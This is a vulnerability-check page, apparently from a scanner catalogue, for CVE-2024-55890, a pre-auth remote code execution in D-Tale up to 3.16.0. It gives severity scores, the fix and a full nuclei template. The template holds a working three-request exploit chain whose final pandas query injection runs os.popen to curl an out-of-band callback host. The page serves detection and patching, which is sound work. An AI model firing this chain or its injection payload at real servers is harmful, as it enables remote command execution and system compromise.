D-Tale <= 3.16.0 - Pre-Auth RCE via Pandas Query Injection

criticalseverity

9.8CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

D-Tale prior to version 3.16.1 contains a remote code execution caused by the `update-settings` endpoint allowing updates to `enable_custom_filters`, letting attackers run malicious code on the server, exploit requires hosting D-Tale publicly.

Impact

Attackers can execute arbitrary code on the server, potentially leading to full system compromise.

Fix

Upgrade to version 3.16.1 where the `update-settings` endpoint blocks `enable_custom_filters` updates.

How to confirm it

Send: POST /dtale/upload
Positive when: contains "\"data_id\""
Send: GET /dtale/update-settings/{{data_id}}?settings=%7B%22enable_custom_filters%22%3Atrue%7D
Positive when: contains "\"success\""
Send: GET /dtale/test-filter/{{data_id}}?query=%40pd.core.frame.com.builtins.__import__%28%27os%27%29.popen%28%27curl+-m+5+-s+http%3A%2F%2F{{interactsh-url}}%27%29.r…
Positive when: contains(interactsh_protocol, "http") and contains(interactsh_request, "curl")

Run it with nuclei: nuclei -id CVE-2024-55890 -u <target>

The full check

id: CVE-2024-55890

info:
  name: D-Tale <= 3.16.0 - Pre-Auth RCE via Pandas Query Injection
  author: 0x_Akoko
  severity: critical
  description: |
    D-Tale prior to version 3.16.1 contains a remote code execution caused by the `update-settings` endpoint allowing updates to `enable_custom_filters`, letting attackers run malicious code on the server, exploit requires hosting D-Tale publicly.
  impact: |
    Attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 3.16.1 where the `update-settings` endpoint blocks `enable_custom_filters` updates.
  reference:
    - https://github.com/man-group/dtale/security/advisories/GHSA-qx2x-gvj9-gxw2
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55890
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55890
    epss-score: 0.0242
    epss-percentile: 0.84304
    cwe-id: CWE-95
    cpe: cpe:2.3:a:man:dtale:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: man-group
    product: dtale
    shodan-query: http.html:"D-Tale"
    fofa-query: body="D-Tale"
  tags: cve,cve2024,dtale,rce,oast,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /dtale/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----DTaleBoundary55890
        Accept: application/json
        Connection: close

        ------DTaleBoundary55890
        Content-Disposition: form-data; name="poc.csv"; filename="poc.csv"
        Content-Type: text/csv

        a,b
        1,1
        ------DTaleBoundary55890
        Content-Disposition: form-data; name="header"

        true
        ------DTaleBoundary55890
        Content-Disposition: form-data; name="separatorType"

        comma
        ------DTaleBoundary55890--

    matchers:
      - type: word
        part: body
        words:
          - '"data_id"'
        internal: true

    extractors:
      - type: json
        name: data_id
        part: body
        json:
          - ".data_id"
        internal: true

  - raw:
      - |
        GET /dtale/update-settings/{{data_id}}?settings=%7B%22enable_custom_filters%22%3Atrue%7D HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Connection: close

    matchers:
      - type: word
        part: body
        words:
          - '"success"'
        internal: true

  - raw:
      - |
        GET /dtale/test-filter/{{data_id}}?query=%40pd.core.frame.com.builtins.__import__%28%27os%27%29.popen%28%27curl+-m+5+-s+http%3A%2F%2F{{interactsh-url}}%27%29.read%28%29&save=true HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "curl")'
        condition: and

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